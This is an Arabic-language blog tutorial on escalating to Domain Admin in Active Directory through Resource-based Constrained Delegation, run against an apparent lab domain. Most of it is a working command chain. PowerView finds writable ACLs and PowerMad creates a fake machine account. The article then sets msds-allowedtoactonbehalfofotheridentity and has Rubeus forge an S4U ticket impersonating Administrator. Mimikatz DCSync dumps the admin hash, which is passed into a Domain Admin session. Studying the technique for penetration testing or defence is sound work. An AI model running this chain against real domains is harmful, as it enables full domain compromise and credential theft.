Domain Privilege Escalation - RBCD

Jehad Alqurashiمنذ سنة

السلام عليكم ورحمة الله وبركاته

الحمد لله على جميع نِعمه علينا ما علمنا منها وما لم نعلم حمداً والصلاة والسلام على نبينا محمد اشرف الخلق والمرسلين, اما بعد:

مقدمة:

 

في هذي المقالة راح نشرح التكينك الثامن لي الـDomain Privilege وهو الـ RBCD او Resource-based Constrained Delegation

 

متطلبات التكنيك:  يجب ان يكون لديك صلاحية Generic All او Generic Write او Write Property على الجهاز المستهدف

 

قبل نبدا نطبق التكنيك خلونا نعرف ايش هي فكرة Resource-based Constrained Delegation ؟

الفكرة مشابهه لتكنيك Constrained Delegation المشروح سابقا

لكن هذا التكنيك راح يختلف شوي بحيث انه راح ننشأ جهاز مزيف او fake ونحدد له باسورد معين ومن ثم نضيف New Property على الجهاز المستهدف و اللي هي

msds-allowedtoactonbehalfofotheridentity  تحتوي على قيمة ال SID الخاصة بالجهاز ال مزيف

بعد كذا راح نتستخدم اداة Rubeus بحيث انه نطلب اي سيرفس على الجهاز المستهدف مثل http عشان نسوي PS Remoting  او cifs عشان نتصفح الملفات الخاصة بالجهاز المستهدف او host عشان ننفذ scheduling tasks ونحصل على  Reverse Shell او ldap اذا كان الجهاز المستهدف هو ال DC بحيث تسحب الهاش الخاص في ال Domain Admins وتنفذ تكنيك Pass the Hash وكل هذي الطلبات راح تكون عن طريق الجهاز المزيف

 

الشرح:

اولا انا داخل بالمستخدم اللي اسمه HRmanager

الان راح اسوي Load لي اداة Power View عن طريق هذا الامر:

 

Import-Module .\powerview.ps1

الان راح ننفذ هذا الامر عشان نشوف هل المتسخدم HRmanager عنده ACLs تهمنا او لا :

 

Find-InterestingDomainAcl -ResolveGUIDs

الان لو نلاحظ حقل المستخدم HRmanager الموجود في حقل IdentityReferenceName يحتوي على صلاحية Write Property على جهاز ال Domain Controller الموجود في حقل ObjectDN (:

 

الان راح احمل اداة PowerMad عشان ننشأ جهاز مزيف 

 

بعد التحميل راح اسوي لها Load عن طريق هذا الامر:
 

Import-Module .\powermad.ps1

الان راح ننشأ جهاز مزيف يكون الباسورد الخاص فيه 123 عن طريق هذا الامر:
 

New-MachineAccount -Domain cyber.local -MachineAccount dude -Password (ConvertTo-SecureString '123' -AsPlainText -Force) -Verbose

الان نحتاج نستخرج ال SID الخاص في الجهاز المزيف عن طريق هذا الامر:
 

Get-NetComputer dude | select objectsid

 الان بعد ما استخرجنا ال SID الخاص في الجهاز المزيف راح ننفذ هذي الاوامر مع تعويض ال SID الخاص في الجهاز المزيف

 

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-4117163453-3728762355-2024759166-1601)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

الان راح ننشأ للجهاز المستهدف خاصية جديدة تسمى msds-allowedtoactonbehalfofotheridentity ونسند لها قيمة ال SID الخاص في الجهاز المزيف عن طريق هذا الامر:

 Get-netcomputer jehaddc.m3c.local | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose 

الان راح احمل اداة Rubeus وننفذ هذا الامر بحيث يعطينا نسخه مشفرة من نوع AES256 لي الباسورد الخاص في الجهاز المزيف:
 

.\Rubeus.exe hash /password:123 /user:dude$  /domain:cyber.local

الان راح ننفذ هذا الامر عشان نحصل على ال TGS الخاصه في ال ldap سيرفس بما انه الجهاز المستهدف هو ال Domain Controller (DC)
 

.\Rubeus.exe s4u /domain:cyber.local /dc:JehadDC.cyber.local /user:dude$ /ptt /aes256:5B9C740C2E833C237562871A4B3C3B7FF7839D48C3CBB3CBB152E2E82C981928  /impersonateuser:Administrator /msdsspn:ldap/jehaddc.cyber.local

طبعا انت راح تعوض حقول معينه حسب الدومين اللي انت متواجد عليه وحسب تشفير الباسورد اللي ظهر لك

وممكن في حقل msdsspn تعوض اي سيرفس تبيها وكل سيرفس ويختلف استغلالها زي ماذكرت بداية المقالة

 

الان بعد تنفيذ الامر السابق راح نتاكد هل تم حقن ال TGS في الميموري او لا عن طريق هذا الامر:

klist

 


الان تاكدنا انه تم حقن ال TGS في الميموري

 

الان بما انه معنا ال TGS الخاصة في سيرفس ldap راح نشغل mimikatz ونسحب الهاش الخاص في ال Domain Admin عن طريق هذا الامر:

 

lsadump::dcsync /user:cyber\Administrator

الان راح نسوي تكنيك pass the hash عن طريق mimikatz بحيث نشغل جلسة PowerShell بصلاحية Domain Admin عن طريق هذا الامر:

sekurlsa::pth /user:Administrator /ntlm:311fb27b1e766dac7357f4270f4112df /domain:cyber.local /run:powershell.exe

  بعد تنفيذ الامر راح تفتح لنا جلسة powershell بصلاحية Domain Admin كل اللي علينا انه ننفذ هذا الامر عشان ندخل للجهاز المستهدف:

 

Enter-PSSession jehaddc.cyber.local

 

وصلنا لنهاية المقالة اتمنى انها نالت على اعجابكم

 

شاكر لكم.

كلمات دليلية: hacking
1
إعجاب
860
مشاهدات
0
مشاركة
1
متابع

التعليقات (0)

لايوجد لديك حساب في عالم البرمجة؟

تحب تنضم لعالم البرمجة؟ وتنشئ عالمك الخاص، تنشر المقالات، الدورات، تشارك المبرمجين وتساعد الآخرين، اشترك الآن بخطوات يسيرة !